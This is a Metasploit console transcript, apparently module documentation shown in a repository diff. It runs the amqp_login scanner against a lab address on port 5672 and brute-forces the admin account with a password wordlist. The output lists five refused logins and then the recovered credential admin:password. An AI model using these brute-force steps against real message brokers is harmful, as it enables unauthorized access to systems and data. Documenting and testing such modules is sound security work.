msf6 auxiliary(scanner/amqp/amqp_login) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set PASS_FILE data/wordlists/unix_passwords.txt
|
||||
PASS_FILE => data/wordlists/unix_passwords.txt
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set RPORT 5672
|
||||
RPORT => 5672
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) > run
|
||||
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:Password1! (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:admin (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:12345 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[-] 192.168.159.128:5672 - LOGIN FAILED: admin:123456789 (Incorrect: ACCESS_REFUSED - Login was refused using authentication mechanism PLAIN. For details see the broker logfile.)
|
||||
[+] 192.168.159.128:5672 - Login Successful: admin:password
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/amqp/amqp_login) >
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user